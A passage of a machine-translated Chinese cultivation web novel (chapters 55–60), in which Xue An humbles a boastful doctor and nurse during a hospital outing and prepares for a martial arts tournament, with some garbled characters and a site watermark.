    Xue An simply added some simple mountain protection formations, making this villa truly a blessed place.


    this moment.


    A thin layer of white mist enveloped the entire top of the mountain, which is pure water essence.


    Even a mortal, living in it can prolong life.


    After all this, Xue An returned to the room tiredly, looked at the two sleeping daughters, and couldn''t help but kiss each other.


    If it is said that the ascetics should go against the sky and cut off the common lust.


    But whether it was the previous life or this life, Xue An would never let go of the one he loved.


    Whether it''s a fairy, it doesn''t matter if you become a fairy.


    have all been humans.


    Since you are human, don''t pretend you are not human.


    This is Xue An''s...the way to become a fairy!

 Chapter 55： Travel

    The place where Tang Xuaner works is the largest hospital in Beijiang City.


    Today is March 8th, commonly known as Girls�� Day.


    The hospital specially arranged this tour, which is regarded as a benefit for many employees.


    When Tang Xuan''er arrived at the hospital, the others were almost there.


    "Xuan''er, happy holidays!" A handsome male doctor with golden glasses came over and smiled.


    Tang Xuan''er nodded, "Thank you."


    "Xuan''er, are you alone again? Take my car for a while. I just bought a new BMW!" said the male doctor very kindly.


    Tang Xuan''er shook her head, "No need, my friend is here today!"


    The male doctor''s face is a bit ugly.


    His name is Lin Huan, and he is a doctor of medicine returning from overseas.


    Entering this hospital, after seeing Tang Xuan''er for the first time, he was attracted by Tang Xuan''er''s stunning appearance, and then began a fanatical pursuit.


    But Tang Xuan''er was never lukewarm to him, which made Lin Huan a little frustrated.


    You have to know that his family is considered high in Beijiang, and he is also handsome, so he has not lacked women since he was a child.


    But there has never been a person like Tang Xuan''er that attracted him deeply.


    But no matter how Lin Huan tried to approach, Tang Xuan''er remained unmoved.


    Friend.......


    What friend?


    Men or women?


    Lin Huan thought to herself, her eyes a little gloomy.


    At this moment, not far away, several female nurses gathered together and looked at Lin Huan, who was so courteous to Tang Xuan''er, and couldn''t help but feel jealous.


    "What''s so good about Tang Xuan''er? Isn''t it just a little more beautiful? It makes Dr. Lin so fascinated!" a girl with several freckles on her nose said bitterly.


    This girl is Luo Jing and she has been secretly in love with Lin Huan, but Lin Huan never called her, so she directed all her anger at Tang Xuan''er.


    usually sneered at Tang Xuaner when he found an opportunity.


    This time is no exception.


    All of her colleagues are her best friends, so they naturally help her to speak, and can''t help but nod their heads.


    "Looking at the pure appearance, I didn''t get angry when I saw it. I heard that she has been refusing to find a boyfriend for her friend''s child?"


    "I said it was a friend''s child, maybe it was her!"


    These vicious words floated to Tang Xuan''er''s ears.


    Tang Xuan''er has no expression.


    She has gotten used to the rumors of these years.


    Sometimes it is a sin for women to be too beautiful.


    Even though she has kept enough distance from all the boys, she still cannot resist these jealous slanders.


    "Are you all ready? Those who have a car drive, and those who don''t take the shuttle bus arranged by the hospital. Our destination this time is... Yunmeng Lake!" a person in charge said.


    Yunmeng Lake?


    Tang Xuan''er was slightly startled, and then a little bit of laughter.


    I just rushed over from there, but do I have to go back later?


    But it doesn''t matter, after all, there is only one day, it is impossible to travel too far.


    Many people drive here by themselves, and then go with people they know.


    At this time, Lin Huan came over again, "Xuan''er, you see your friend hasn''t come yet. I guess he won''t be able to come. Or take my car, let''s go together."


    Tang Xuan''er shook her head, "He said he will definitely come!"


    touched his nose again, and Lin Huan''s face couldn''t help but feel a little awkward.


    I show good over and over again, why is this woman so ignorant to praise?


    Then I want to see, what the **** is your friend! Lin Huan thought to himself.


    At this moment, Xue Xiang and Xue Nian hopped in.


    The two little girls changed into brand-new clothes today, and they wore the same braids. They were so cute that people couldn��t help but want to take a bite.


    "Aunt Xuan''er." The two little girls yelled milkily.


    Tang Xuaner fondly touched the heads of the two little girls, "Have you had breakfast?"


    "Eat! Baba makes porridge, it''s delicious!" Xue Nian couldn''t forget to eat anytime.


    Lin Huan looked a little ugly at this time. He heard some rumors about Tang Xuan''er, but he didn''t expect it to be true.


    Did she really raise two little girls?


    What is the relationship between these two little girls and her?


    When he was wondering, Xue An walked in.


    His appearance changed the eyes of many people present.


    , especially Luo Jing and others, are even more excited.


    "Have you seen, this man may be Tang Xuan''er''s little lover!"


    "Looks pretty young!"


    "You have a fart for being young, the clothes you see through!" Luo Jing is very good at seeing a person''s wealth status from the clothing.


    When she saw Xue An wearing casual clothes that cost only a few hundred dollars, she couldn''t help but feel a little disdain.


    Did you find a man like this?


    Tang Xuan''er doesn''t look so good here!


    Luo Jing thought happily.


    Lin Huan stared at Xue An even more hostilely, making comments in his heart.


    On looks...cough cough, no difference!


    But the dress is too bad!


    The more you compare, the more arrogant Lin Huan''s expression is.


    At this time, the person in charge came over and asked Tang Xuan''er, "Xuan''er, what do you do? Do you take the shuttle bus?"


    Tang Xuan''er looked at Xue An.


    Xue An smiled slightly, "I brought the two of them here by taxi!"


    Luo Jing and others are even more contemptuous This is not even a car!


    Lin Huan felt that it was time for him to play, so he walked over and smiled: "Xuan''er, let''s take my car!"


    Tang Xuan''er shook her head, "My friend..."


    Lin Huan interrupted Tang Xuan''er, and looked at Xue An provocatively, "It''s okay, I bought the X5, it''s okay even if your friend pulls it."


    Tang Xuan''er felt wrong, but Xue An said lightly: "Okay! I haven''t taken an X5 yet!"


    Lin Huan sneered in his heart. It seemed that he was a soil bun from the country. Later, I will see how I clean up you!


    Lin Huan drove the car and opened the passenger''s door very diligently, "Xuan''er, sit here!"


    Tang Xuan''er shook her head, "I should sit back!"


    said, leading Xue Xiang and Xue Nian to sit in the back row.


    Lin Huan was gritting his teeth secretly, but Xue An got into the co-pilot and said faintly: "Drive!"


    Lin Huan was annoyed instantly.


    Is this driving yourself?


    but inconvenience happened again, so I had to hold my anger and drive on the road.


    While on the road, he kept watching Xue An.


    After seeing him get in the car, he has been sitting there with a calm expression.


    was a little dismissive.


    Look like that, there is no car, what kind of garlic?


    When I arrive at Yunmeng Lake, I will make you look good!


    Because it rained last night, Yunmeng Lake today looks more picturesque.


    Everyone got out of the car, and the girls started to take pictures in the distance excitedly.


    The boys mostly stand by the lake and watch the scenery.


    At this time, Lin Huan deliberately asked: "This friend, dare you ask where you are?"

 Chapter 56： Baba, what is a pauper?

    "Higher?" Xue An smiled slightly, "I have no job!"


    "Oh..." Lin Huan pulled the long tone meaningfully, becoming more and more disdainful in his heart.


    turns out to be a lord who spends his days at home.


    "Then what do you usually do at home?"


    "It is to accompany the children, cook, and see the scenery!" Xue An said lightly.


    Lin Huan exchanged a comprehensive look with the colleagues around him.


    It seems that this guy is just a jerk.


    Then Lin Huan looked at his watch intentionally or unintentionally.


    "Doctor Lin, your watch is not cheap, right?" a colleague of Lin Huan asked.


    "It''s okay, it''s only two hundred thousand. I came out in a hurry today and brought such an ordinary watch!" Lin Huan said lightly.


    Luo Jing approached me with a look of idiot, "Doctor Lin, I heard that your family bought you a house in Yunmeng Bieyuan?"


    Lin Huan nodded proudly, "Well, I just bought it two days ago! It cost tens of millions!"


    There was a commotion around the people.


    "I heard that this house in Yunmeng Courtyard can''t be bought by money alone!"


    Lin Huan smiled slightly, "That''s natural, but my father took a lot of effort, and finally spent a lot of money to ask for a relationship, only to find a friend of the Qin family to buy it!"


    Qin family!


    When Lin Huan said this, the expression on his face became respectful.


    As for the others, it is even more envy and shock.


    That is the Qin family!


    A wealthy family that many people can only look up to!


    Lin Huan��s family can have a relationship with the Qin family. Obviously it is not an ordinary family!


    "It happens to be this time that we came to Yunmeng Lake, and I will take everyone to my place to see in a while!" Lin Huan said loudly.


    "Okay!" Luo Jing was the first to cheer.


    The look in Lin Huan''s eyes now is fiercely waiting for fire to come out.


    Lin Huan ignored Luo Jing and asked Tang Xuan''er, "Xuan''er, I will go to my villa in a moment. I have a bottle of red wine from a French friend, which is not available on the market. You will taste it then!"


    Tang Xuan''er did not speak, still looking at Xue An.


    Xue An smiled faintly, "Okay, it''s boring anyway, then go try Dr. Lin''s red bar."


    Lin Huan''s heart grew more resentful, and the look in Xue An''s eyes became more and more gloomy.


    This guy is too ignorant.


    had to think of a way to let him retreat.


    Beautiful women like Tang Xuan''er can only be possessed by talents like themselves. Lin Huan thought secretly.


    Luo Jing was also very upset at this time, staring at Tang Xuan''er with jealousy, wishing to eat her now.


    In this way, I played for a while by the lake, and when it was almost noon, everyone drove straight to Yunmeng Courtyard.


    The security here is indeed tight. Although Lin Huan took out the key to prove that he was the owner, he was still checked by car by car.


    After arriving at Xue An''s side, Luo Jing deliberately hid aside, preparing to watch the jokes of Tang Xuan''er and others.


    You can wait for Xue An to lower the glass. When the security guard saw Xue An and others, he was taken aback for a moment, and then immediately stood at attention.


    "I have seen Xue..."


    Xue An waved his hand, and the security guard swallowed the words behind.


    Luo Jing is a little puzzled, what''s the matter?


    Why does this security guard act like this?


    Could it be.......


    Does Xue An know this security guard?


    must be so!


    Maybe they are still colleagues! Luo Jing felt that this reason was impeccable.


    When they drove into the Yunmeng Courtyard, many people exclaimed.


    "Gosh, it''s so beautiful! There are flowers blooming this season!"


    "This is carefully cultivated by a gardener, so naturally you are not afraid of the cold!"


    When everyone came to the villa that Lin Huan bought, many people were even more surprised.


    Lin Huan said proudly: "This is my home, everyone come in!"


    This villa is located on the edge of Yunmeng Bieyuan. The location is not too good, but the surrounding environment and facilities are already very good.


    After entering inside, many people were dazzled.


    "These decoration materials are all shipped directly from Europe, and the decoration alone cost more than ten million!" Lin Huan introduced triumphantly, and tried to see a hint of surprise from Xue An''s face.


    From the beginning to the end, Xue An looked indifferent, which made Lin Huan full of frustration.


    This soil bun should not be scared to be stupid! Lin Huan thought to himself.


    It''s lunch time. Lin Huan had prepared early and bought a lot of high-end ingredients. He also invited a few chefs to work for a long time and finally presented a table of exquisite meals.


    "Xuan''er, come, taste this, these are all steaks shipped from Europe!" Lin Huan introduced graciously.


    Tang Xuan''er tasted nothing, then frowned slightly.


    Ever since I have eaten Xue An��s meal, I feel the taste is the same as chewing wax after eating any delicacy.


    At this time Luo Jing finally couldn''t help but sneered: "What kind of princess, you don''t usually have seen this kind of thing! After all, I followed a pauper!"


    This is very naked, and many people are discolored by it.


    Tang Xuan''er was even more angry, only Xue An was calm.


    And at this moment Xue Xiang suddenly said: "Baba, what is a pauper?"


    This question caused many people to cover their mouths and laugh.


    , especially Luo Jing and Lin Huan, they were even more relaxed in their hearts, and a smile appeared on the corners of their mouths unconsciously.


    My own daughter has asked so, it depends on how you answer.


    Xue An laughed dumbly, first touched Xue Xiang''s little head, then pointed to the table and chairs in front of him, and said faintly: "This... is called a pauper!"


    This sentence was like a shock to the sky, and many people were stunned.


    Luo Jing was the first to react with a sarcasm smile and said: "Yeah, there are so many people these years, so I am not afraid of the wind flashing his tongue."


    Lin Huan''s expression was even greener, and he sneered: "What do you mean?"


    Xue An shook his head, "Sorry! I may not have made it clear just now."


    Lin Huan''s expression eased slightly, thinking that Xue An would apologize.


    But who thought of Xue An and said: "You are not a pauper here, after all... Pauper knows himself! And you don''t even know yourself!"


    These words made Lin Huan almost out of a cerebral hemorrhage.


    Luo Jing sneered and said, "In that case, this gentleman''s house must be more luxurious and valuable than this one!"


    In fact, Xue An did not deliberately mock Lin Huan, because in his eyes, not only this is the pauper, but the entire Beijiang, and even the entire earth, there is no place for endless poverty.


    On those planets with abundant resources, among the martial arts that occupy most of the resources, people live a life that people on earth cannot imagine.


    But in comparison, this villa is indeed inferior to a toilet in Tianzi No.1.


    Xue wanted to be the first to say: "Anyway, my house is much bigger than here!"


    "Is big money worth it? This is Yunmeng Courtyard!" Luo Jing sneered.


    Lin Huan also sneered: "If this is the case, let us go to Mr. Xue''s house, why not be a pauper?"


    Originally, Lin Huan thought Xue An would not dare to agree.


    Unexpectedly, Xue An nodded, "Alright!"


    "How to get there? Take a car? I don''t want to go too far. If it''s in a ravine, wouldn''t it be very dirty and dangerous?" Luo Jing said.


    Xue An shook his head, "You don''t need to take a car, you can walk there!"

 Chapter 57： Kneel down

    can you walk there?


    Lin Huan and others looked at each other.


    is located on the outskirts of the city, and the nearest village is four or five miles away.


    Could it be.......


    A thought came to Lin Huan''s mind, but he was immediately denied.


    how is this possible!


    I definitely think too much.


    Who can buy a house in Yunmeng Courtyard, who is not a person with a face and a face.


    I have never seen him at all, so he definitely does not live in Yunmeng Courtyard.


    thought in his heart, Lin Huan''s expression became more relaxed, "Okay, then let''s go and see where this Mr. Xue''s home is."


    Xue An ignored him and left the house by himself.


    Everyone followed.


    After walking for a while, Xue An turned and ran straight to the hill.


    Lin Huan''s face became more weird as he walked away, and Xue An''s expression became more and more disdainful.


    If he doesn''t know the owner of other houses, but this one is located on the top of the hill, he knows it all too well.


    This is a unique mountain villa in the entire Yunmeng Courtyard, with a unique location.


    I heard that the rich man in Zhongdu once had a high price, but the Qin family just didn''t sell it.


    I heard that it was Mr. Qin who was going to keep it for himself.


    And this man cannot be a member of the Qin family anyway. Obviously, there is only one possibility, and that is to use this to fool someone who doesn''t understand.


    What a pity... you met me! A smug smile appeared at the corner of Lin Huan''s mouth.


    See how I will break you down in a while!


    After arriving at the top of the mountain, the grandeur and style of Tianzi No.1 Villa shocked everyone.


    It is the first time that Lin Huan has seen such a villa. Compared with this, his own villa can only barely live in.


    "This is where we live with Baba!" Xue Xiang said proudly.


    Many people''s eyes started to change when they saw Xue An.


    Could it be that he is really a hidden rich second generation?


    But at this moment, Lin Huan took a step forward and sneered: "Everyone, if you talk about other villas, I don''t have the right to speak yet, but this Tianzi No. 1 villa, everyone in Yunmeng Courtyard knows that this It is the old man of the Qin family who kept his place to live. It is impossible that Mr. Xue is old man Qin, right?"


    When these words came out, many people suddenly realized.


    Then all the faces were full of contempt and disdain.


    At this moment, Lin Huan looked at Xue An and said with a smug look: "Now let me guess, what is Mr. Xue doing here? Cook? Or the driver?"


    Xue An smiled calmly: "What do you think?"


    Lin Huan sneered and said, "No matter how you say it, this villa cannot be yours!"


    "You''re talking nonsense, this is the cake that Aunt Qin Yu gave me!" Xue Xiang said aggrievedly.


    "Qin Yu? Miss Qin''s family? Even if you can know Miss Qin''s family? Little girl, lying is not a good boy!" Lin Huan laughed.


    He thinks that he is determined to win. The surname Xue is obviously trying to pretend to be forceful, but it is a pity that he finally meets himself. Now, how do you stand in front of Tang Xuaner?


    But when Lin Huan was triumphant, a calm and majestic voice came from behind everyone.


    "Mr. Xue, can you still live here?"


    Everyone turned their heads and looked, and they saw a middle-aged man walking up from the mountain. This man had a dignified face, a calm expression, and an air of no anger and self-prestige.


    The person who came is Qin Yuan.


    Xue An nodded slightly, "It''s okay! It''s just that this mountain is a little too short, I raised it more than 100 meters!"


    Qin Yuan felt that something was wrong when he went up the mountain. It was not so high at ordinary times. Now when he heard Xue An say this, he couldn''t help being shocked.


    The first time I heard that the mountain can be raised!


    But Xue An is no different from a **** in Qin Yuan''s heart at this moment, so it was just a surprise.


    But Lin Huan doesn��t know Qin Yuan, and when he sees a man who comes along and sings with Xue An, he can��t help but sneer: ��Hehe, the acting is quite real, and he has a partner!��


    Qin Yuan frowned and looked at Lin Huan.


    "who are you?"


    Lin Huan said proudly, "I am the owner of Yunmeng Courtyard. What did this guy say is that Tianzi Villa No. 1 belongs to him, but I saw it through!"


    See through?


    Qin Yuan looked at Xue An, who was indifferent, and then understood what was going on. He couldn''t help but say, "Then who do you think the Tianzi No. 1 villa belongs to?"


    "Hehe, who didn''t know that the Villa No.1 of Tianzi was left to live in by Father Qin! He actually used this to deceive, it really laughed people''s teeth!"


    Luo Jing and others all burst into laughter.


    Amidst these laughter, Qin Yuan said coldly: "Yes, I used to keep this Villa No. 1 for my own use, but now I have given it to Mr. Xue. Is there a problem with this?"


    The whole audience was silent.


    Then Lin Huan sneered, "You gave it to him? A joke, what are you?"


    "Then what are you?" A cold voice full of anger came.


    Qin Yu came up from the mountain, her pretty face full of anger.


    Lin Huan didn''t recognize Qin Yuan, but he recognized Qin Yu, and when he saw her, he was stunned.


    Qin Yu walked closer, and said respectfully: "I have seen Mr. Xue!"


    Xue An nodded non-committal.


    Then Qin Yu shouted to Qin Yuan: "Grandpa!"


    Grandpa!


    can be called that by Qin Yu.


    There is only one person in the whole world.


    That is Qin Yuan, the chairman of Longtai Group and the head of the Qin family.


    Lin Huan felt a thud in his head, and his face instantly turned pale.


    This... how is this possible?


    Why is this ordinary and ordinary man called Mr. Xue by Qin Jiazun?


    , she always looked down on Xue An and made a joke about Tang Xuan''er Luo Jing, who had no eyesight, and her jealous eyes turned blue.


    can make the Qin family so respectful, this man is obviously very high status, compared to him, Lin Huan is a fart!


    But this is not over yet.


    Today��s Tianzi No. 1 Villa is exceptionally lively, and there are two people walking on the mountain path. U U Reading www.uukanshu.c��m


    The old is a gray-haired old man, and the young is a slim woman.


    After walking closer, Lin Huan and Luo Jing were stupid.


    Hua Xingyu and Hua Tingting actually came here.


    In Beijiang''s medical field, people are considered to be master-level figures.


    The grandfather and grandson walked straight past these people, as if they were all a cloud of air.


    Then Hua Xingyu bowed his hand to Xue An, respectfully like a student, "I have seen Mr. Xue!"


    There was a dead silence in the audience, including the people who had just laughed at Xue An frantically. At this moment, they felt as if they were slapped severely.


    Lin Huan fought a cold war, and he finally understood why Xue An always had a smile on his lips from beginning to end.


    It turned out that it was mocking my ignorance.


    At this moment, Qin Yu turned to look at Lin Huan, and said coldly: "Who did you just say?"


    The cold in her voice made Lin Huan tremble, and he stammered: "Qin...Miss Qin, I really don''t know that this is the old man or Qin..."


    Qin Yu stepped forward and asked in a cold voice, "This villa was originally given to Mr. Xue by our Qin family unconditionally, so what are you? It''s your turn to question?"


    Lin Huan was dumbfounded by the question, and could only say: "I...I was wrong!"


    Qin Yu''s eyebrows are upside down, what else is going to say.


    Xue An waved his hand, "Forget it!"


    Lin Huan, Luo Jing and others are like hearing the heavens.


    Is this guy still good to talk? Lin Huan secretly rejoiced.


    "Since you all know that you are wrong, what are you talking about? Let them kneel down the mountain!" Xue An said lightly.

 Chapter 58： At ease!

    Kneeling down the mountain?


    Lin Huan and Luo Jing''s faces instantly turned pale.


    Although this mountain is not too high, if you kneel down, it will not be possible to do it in a short while.


    After Xue An said these words, he led Xue Xiang and Xue Nian to turn around and enter the house.


    Tang Xuan''er took a deep look at this group of so-called colleagues, and turned around just to leave.


    "Xuan''er, please beg for Mr. Xue, what should I do if you really kneel down the mountain?" Luo Jing was actually embarrassed to ask Tang Xuan''er to intercede.


    "Yeah! Xuan''er, we are all colleagues anyhow, why should we make such a stalemate?" Many people echoed.


    Tang Xuan''er''s delicate and elegant face showed a trace of disgust, "It''s so stiff? Then I ask you, the one who mocked me and Mr. Xue as soon as we met...who?"


    Everyone was speechless.


    Tang Xuan''er stepped forward again, staring at Luo Jing and Lin Huan and said: "Keep saying that Mr. Xue is a pauper, who is it?"


    Luo Jing and Lin Huan both panicked.


    Especially Luo Jing.


    The reason why she dared to be so arrogant and repeatedly targeted Tang Xuan''er was because she was sure that the girl had a gentle temper.


    She thinks Tang Xuan''er will not retaliate no matter what she is.


    But now she knows that she was wrong!


    It''s wrong!


    Tang Xuan''er turned and left.


    Qin Yu faintly said to Lin Huan: "I remember your surname is Lin, right? Yunmeng Bieyuan doesn''t welcome you anymore."


    Qin Yu dropped these words and left.


    Lin Huan languidly fell to the ground.


    He knew that he was finished.


    Not because of that house.


    but because of Qin Yu''s attitude.


    Although my home is pretty good in Beijiang, it is nothing compared to Longtai Group.


    I hate Qin Yu now, which means that all of the Lin family''s business in Beijiang will be destroyed.


    Blame him!


    Lin Huan''s heart suddenly rises with an unknown fire, pushing all the responsibility to Xue An.


    Since you are so good, why didn''t you show it in the first place?


    The injured self finally became like this!


    Correct! Blame him!


    Lin Huan thought in his heart, with an extremely resentful expression on his face.


    Still let us kneel down the mountain?


    What a joke!


    Why should I kneel?


    Lin Huan thought, turning around and walking down the mountain, but after two steps out, he felt a huge force pressing on his shoulders.


    With a plop, he knelt on the ground and couldn''t stand up no matter how hard he struggled.


    Not only him, but Luo Jing and the most ridiculous people just now felt that a huge force was coming, and then they knelt on the ground and couldn''t move.


    The others all looked at each other, and saw the panic in each other''s eyes.


    What is this?


    finally.


    Lin Huan, Luo Jing and others really knelt down the mountain step by step.


    At this moment, Xue An in the house is quietly listening to Hua Xingyu''s account.


    I saw Hua Xingyu''s expression solemnly, "Mr. Xue, a friend of mine overseas sent me a message this morning, about you!"


    "Oh? What news?"


    "The old man Yu Ling has been out of the mountain, and he plans to return to China soon, and then participate in the four-year martial arts convention!"


    "Heavenly old man?" Qin Yuan was shocked, and then a look of horror appeared on his face.


    Qin Yu asked a little puzzled: "Grandpa, who is the old man Zhitian?"


    Qin Yuan''s face was solemn, "That was a peerless master who had never met an opponent thirty years ago, but then he disappeared. I heard that he was dead, but I didn''t expect to be alive?"


    Hua Xingyu smiled bitterly: "Not only is he alive, but he is alive and well, but he also taught two apprentices, one is Liu Shou and the other is...Yu Qing!"


    These two names make the house quiet.


    Only Xue An was unmoved and sat there calmly, as if all this was telling had nothing to do with him.


    Hua Xingyu then said: "This time Yu Ling came out of the mountain for the death of his two apprentices. He has already let out his words and will kill his apprentices in this martial arts conference!"


    "So what?" Xue An said lightly.


    Hua Xingyu paused, and then said: "Mr. Xue, although you have a worldly meritorious service, this Yuling is not an ordinary person. I met him once 30 years ago, and at that time he already Entering Freedom, now thirty years have passed, many people have rumored... that he has entered the realm of heaven and man with one foot!"


    ����!


    The name itself is magical.


    Although it is said that you are immortal as soon as you enter a happy life, you can only truly enter the unknowable state when you enter the heavens.


    From ancient times to the present, those who can step into the free are like the stars in the sky, and there are few who may enter the realm of heaven and human.


    This shows that it is difficult to take this step!


    Everyone in the room was shocked by Hua Xingyu''s description, and the atmosphere became a bit solemn.


    And just then, a milky voice came.


    "Baba, what is a god? Can I eat it?"


    You don''t need to look at it to know that Xue Nian asked this time.


    Xue An laughed dumbly, "God! Heaven is... used to blow me up."


    Hua Xingyu was shocked by this sentence.


    Then Xue An looked around the audience, saw the worry on the faces of Qin Yuan and others, couldn''t help but smile.


    "Since he is coming to meet me, that''s just right. I also want to see how tall a so-called master who has only stepped into the heavens at a young age!"


    When he said this, Xue An''s tone was extremely confident.


    Hua Tingting on the side can''t help being dizzy.


    Hua Xingyu is a little worried. He always thinks that although Xue An''s martial arts training is unfathomable, there is still a gap between the existence of the long-famous old man Zhitian.


    "Right! Where is this martial arts convention held?" Xue An asked.


    Hua Xingyu and Qin Yuan glanced at each other and said in unison: "Qing Mang!"


    Xue An raised an eyebrow.


    "Green light?"


    "Well! This martial arts conference was originally not fixed. This year, after Beijiang''s turn, because of the inconvenience in the urban area, it was placed in Qingmang Town, which is regarded as a tourist attraction, which can drive greater fame. Hua Xingyu said.


    Xue An nodded, "Well, then, let''s go over and take a look!"


    At this moment, Yu Ling is drinking tea in an antique house in the Chinatown of Country M.


    "Old fish head, I didn''t expect you to go out of the mountain!" Sitting opposite was a gray-bearded old man.


    "If I don''t go out of the mountain, my apprentice will be killed!" Yu Ling said coldly.


    The old man was startled, and then sighed, "I have heard that it is a pity that the young man Yu Qing died, does the Yu family know?"


    Yu Ling shook his head, "It''s still unclear for the time being. When I get rid of the murderer, I will go to Lingnan to see the Yu family."


    The old man nodded, "Do you need help from the meeting?"


    Yu Ling shook his head.


    "Old fish head, now this age is changing with each passing day, you have to be careful too!"


    Yu Ling smiled proudly, and suddenly pointed his hand.


    A circular hole suddenly appeared on a reinforced concrete wall more than ten meters away from them.


    appeared silently, as if it existed at the beginning.


    The old man widened his eyes and said excitedly: "Which step did you finally take?"


    Yu Ling nodded.


    The old man sighed, "I really envy you. If I followed you into the mountain back then, I might be able to be at ease now!"


    Heaven and humans have a life span of three hundred years, so they are also called by the world...

 Chapter 59： Budo Forum

    Budo Forum is the most authoritative and well-known online forum in the Chinese Budo circle.


    Many people who practice martial arts will share their experiences, and even occasionally, there will be real people and even free and easy masters who come to the forum to give pointers.


    But more often, this kind of problem is the most common in this forum.


    I will travel to Huashan tomorrow. After jumping off the cliff, will I get a martial arts secret? Waiting online, very anxious!


    First floor: sofa!


    2nd floor: I think it��s okay, but I heard that these high-ranking people have a weird temper, so you''d better take off your clothes before jumping, so that the chance of success is higher.


    Third floor: What if the person asking the question is a woman?


    Fourth floor: Then ask for a video!


    Fifth Floor: Same request!


    These funny questions have also caused many people to hang out on the Budo Forum without problems.


    Today, Li Qiang habitually opens the martial arts forum and prepares for a while.


    But today''s martial arts forum seems a bit strange.


    is a brilliantly highlighted post at the top.


    "The four-year martial arts conference is about to be held, and the Tianjiao list will be reshuffled! ��


    After ���� clicked in, there was a heated discussion inside.


    2nd floor: This time I won��t grab the sofa. Masters on the Tianjiao list, who can pity me, take me away!


    3rd floor: I, bah, the upstairs is really shameless, but I want to say, take me!


    Fourth floor: Eat less and warm the bed, please bring!


    ��������.


    Li Qiang couldn''t help laughing.


    He knows that the most important function of the four-year martial arts conference is to rearrange the ranking of the Tianjiao.


    Tianjiao Ranking is a list recognized by the world of martial arts circles. There are a hundred people on it, all of whom are outstanding among the martial artists.


    This time, I don��t know how many new masters will appear, and how many old people will be ruthlessly eliminated!


    Li Qiang was sighing, suddenly... a post hit the headlines at a rocket speed.


    "The old man Zhitian who has been missing for thirty years returns to the mountain, and he must kill the people in the martial arts conference! ��


    refers to the old man?


    Who is this?


    Li Qiang clicked in doubtfully, and then found that many people were puzzled.


    But soon, a moderator responded.


    Moderator: The old man Zhitian was the top master 30 years ago. He was the master of the Happy Realm at that time. He once ranked third on the list of Tianjiao, and then disappeared. He has not seen a trace in 30 years, but he does not want to come out this time!


    At the same time, someone replied: I just got news that the apprentice of the old man Zhitian is called Yu Qing!


    This news shocked many netizens.


    Yu Qing!


    ranked 42nd on the Tianjiao list.


    Although this ranking is not high, as long as it can be on the list of Tianjiao, it is not an ordinary person.


    Who is it that actually killed Yu Qing? And re-emergence of the hidden masters who have been in trouble for a long time?


    At the same time, the older generation of warriors continued to start popularizing the skills of the old man.


    Gradually, many netizens began to lean towards the old man, and some even began to mock the man who killed Yu Qing but dared not show up.


    Maybe some despicable trick was used to win.


    Maybe it is! Or just use a gun?


    I also feel that something is wrong, otherwise, why can you kill such an expert?


    These speculations make the situation more and more unfavorable for Xue An.


    But one person saw it, and stood up out of righteous indignation, and began to speak for Xue An.


    This person is the daughter of Tan Dong, Tan Xiaoyu.


    After seeing those words that slandered Xue An, she felt out of breath.


    For Xue An, she is very convinced now.


    So I couldn''t help but start typing on the keyboard and replied: "I am a friend of the person who killed Yu Qing, I can tell you that this master killed Yu Qing with just one punch!"


    This can be regarded as stabbing a hornet''s nest, and many people began to ridicule.


    "Punch? The one upstairs is not dreaming!"


    "That is, the forty-two master, anyone can kill with a punch?"


    "Hehe! Another one who doesn''t brag will die!"


    Tan Xiaoyu''s face blushed, and he knocked: "Don''t believe it? Well, let''s make a bet. In this martial arts conference, I bet my friend wins. If I lose, I...I run naked!"


    The replies of netizens skyrocketed instantly.


    "God, I just looked at it, it turns out to be a young lady!"


    "Look at the same, although the portrait is blurry, but definitely more than eight points!"


    "I am looking forward to this martial arts conference in an instant!"


    "Stand up as proof, Liu Ming with the tongs!"


    Because of this martial arts conference, the Internet has set off a huge wave.


    But Xue An doesn��t know about these disturbances. His daily task is to take his two daughters to the lake to go fishing, and then come back to renovate and cook fish.


    Today, he is sitting by the lake, and his two daughters are digging in the sand enthusiastically.


    But this kind of rare comfort was quickly broken.


    Tan Xiaoyu walked over with a solemn expression.


    After asking Qin Yu, she knew that Xue An was by Yunmeng Lake.


    After waiting, I found out Xue Anzheng was enjoying fishing.


    "Mr. Xue..." Tan Xiaoyu lowered his head and said respectfully.


    Xue An looked up at her, then nodded.


    "what can I do for you?"


    Tan Xiaoyu gritted his teeth, and then said: "Mr. Xue knows that the Internet is now turned upside down because of you!"


    Xue An was startled slightly, then shook his head, "What''s the matter?"


    Tan Xiaoyu recounted what happened.


    Xue An smiled faintly after hearing it, and didn''t comment.


    Tan Xiaoyu was a little worried.


    "Mr. Xue, my father said that you can master the spirit in your own body, but after all, this old man Zhitian is not an ordinary person, you have to be careful!


    Xue An nodded, "Anything else?"


    Tan Xiaoyu suddenly became a little angry.


    I kindly came to remind me, but I didn''t expect Xue An to have an indifferent expression.


    "Mr. Xue...I think you''d better come forward to respond, otherwise it will make public opinion more unfavorable to you!"


    Xue An didn''t seem to hear it, but instead looked at the misty Yunmeng Lake in front of him.


    "Do you think this lake is big?" Xue An asked suddenly.


    Tan Xiaoyu was taken aback, then nodded, "It''s huge!"


    "Then you say, can I catch all the fish with this shot?"


    Tan Xiaoyu didn''t understand what Xue An wanted to do, but still shook his head and said, "How could it be..."


    Xue An smiled lightly, holding the fishing rod in his hand, and gently lifting it.


    The originally calm lake suddenly started to boil.


    Then as Xue An slowly lifted it up, countless fishes gradually surfaced as if being held by an invisible giant hand, and then floated in the air.


    This scene made Tan Xiaoyu stop breathing.


    At this time, Tan Xiaoyu could see clearly that there was no fishing line on Xue An''s fishing rod.


    Xue An said lightly: "You see him as great, but in my eyes, he is like this Yunmeng Lake, although it looks very big, but... is still too small!"

 Chapter 60： Martial arts tournament one

    There are still three days before the martial arts conference, but the small town of Qingmang is already lively.


    Martial artists and martial arts enthusiasts from all over the country and the world all flocked to see the excitement every four years.


    Especially this year''s martial arts conference there was a gimmick that the hidden masters re-emerged to avenge the disciples, which attracted the curiosity of many people.


    At this moment in Qingmang Town, an inconspicuous old man walking on the street may be a long-established martial arts master.


    Hotels and hotels everywhere are full, and the bosses are so happy that they can��t wait for the martial arts convention every day.


    At this moment, in front of the Yuelai Hotel, a Land Rover slowly stopped, and then a man and a woman came down from it.


    The two young men were all dressed in dignified fashion and looked arrogant. The man looked up at the hotel and smiled contemptuously.


    "Forget it, after searching for a long time, this hotel is still a bit high-end, let''s make do with it!"


    The girl is pretty, but she has a cold and arrogant expression, frowns slightly, and then nodded.


    "Okay, brother, don''t expect any good hotels in this ruined place."


    Both of these people are from provincial cities. The men and women who speak are brothers and sisters. The man is called Shi Hao and the woman is called Shi Zhuli.


